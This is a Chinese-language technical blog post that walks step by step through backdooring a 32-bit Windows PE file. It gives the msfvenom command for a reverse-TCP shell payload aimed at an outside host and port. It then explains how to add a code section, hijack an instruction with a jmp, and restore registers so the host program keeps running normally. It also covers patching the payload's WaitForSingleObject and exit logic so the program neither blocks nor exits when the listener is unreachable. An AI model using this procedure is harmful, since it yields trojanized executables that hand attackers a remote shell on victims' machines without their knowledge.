参考

在文章 Backdooring PE Files with Shellcode 中介绍了一种在正常程序中注入 shellcode 的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。

示例程序代码

这里直接编译一个 32 位的 HelloWorld 程序为例:

1
2
3
4
5
6
7
#include <stdio.h>

int main()
{
puts("Hello World!");
return 0;
}

编译后的 exe,可以使用 CFF Explorer 查看相关信息。

大致步骤

少绕弯子,补充一下通用步骤:

  1. 利用 msf 生成一个 payload,保存成一个 bin 文件,命令:msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
  2. 通过 010Editor 等编辑工具在 bin 文件的前后各插入 20-40 个字节,以 90 填充
  3. 在目标 exe 中添加一个新的代码段,将 bin 的内容导入,并设置可读、可写、可执行、包含代码等属性标志
  4. 更新 header 大小以及重建 PE 头
  5. 使用 x32dbg 调试 exe 并查看新加代码段的基址,例如是0x004A0000
  6. 一个 5 字节长度的指令,例如:call 0x00471B50,覆盖成jmp 0x004A0000
  7. 记住下一条指令的位置,例如:0x00491EF8,后面恢复程序正常逻辑的时候要用
  8. 编辑代码段开头,用 pushadpushfd指令覆盖开头 2 个字节
  9. 调试 exe,观察 pushfd 之后的 ESP 值,例如 0x010FFDBC,以及 shellcode 执行结束时ESP 值,例如0x010FFBB8,发现少了0x204
  10. 为了能够恢复之前的寄存器状态,在 shellcode 最后追加指令add esp, 0x204
  11. 追加 popfdpopad指令,和 push 顺序相反
  12. 将第 6 步中覆盖前的指令追加到 popad 之后
  13. 最后,恢复之前的运行逻辑,追加 jmp 0x00491EF8 指令,跳到第 7 步记录位置

问题 1:到 12 和 13 步总是不能跳到正确的位置

注意三点:

  1. 第 6 步和第 7 步获取的值要保证当前调试的 PE 头大小是和最终的 PE 头大小是一致的,检查第 4 步操作
  2. 每次调试 exe 的时候,基址可能会发生变化,所以复制的指令只能用于修改当前调式实例
  3. 在复制 jmp 指令的机器码的时候,注意不要和目标跳转位置太近,会复制成短地址的指令

问题 2:保证步骤没问题之后,程序仍然不能恢复正常逻辑

通过调试将发生阻塞的操作进行 nop,例如 WaitForSingleObjectmsf 的 payload 需要将 4e 56 46 ff 替换成80 56 80 ff

原来给 WaitForSingleObject 传的参数是 -1,会阻塞线程,想办法改成 0 就行,这里将dec esi 操作 nop 掉了,push esi就是 0

问题 3:在监听端失联的情况下,程序长时间阻塞后程序终止

应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置 nop 掉即可

问题 4:在哪找代码段的基址

除了参考文章中提到的通过文件偏移计算,还可以直接利用 x32dbg 的内存布局直接查看

最后效果

省略。。。




root@kali ~# cat 重要声明
本博客所有原创文章,作者皆保留权利。> 转载必须包含本声明,保持文本完整,并以超链接形式注明出处【[Techliu](https://scriptboy.cn)】。查看和编写文> 章评论都需翻墙,为了更方便地获取文章信息,可订阅[RSS](https://feeds2.feedburner.com/techliu),如果您还没有 一款喜爱的阅读器,不妨试试[Inoreader.](https://www.inoreader.com)。
r oot@kali ~# Thankyou!

⬆︎TOP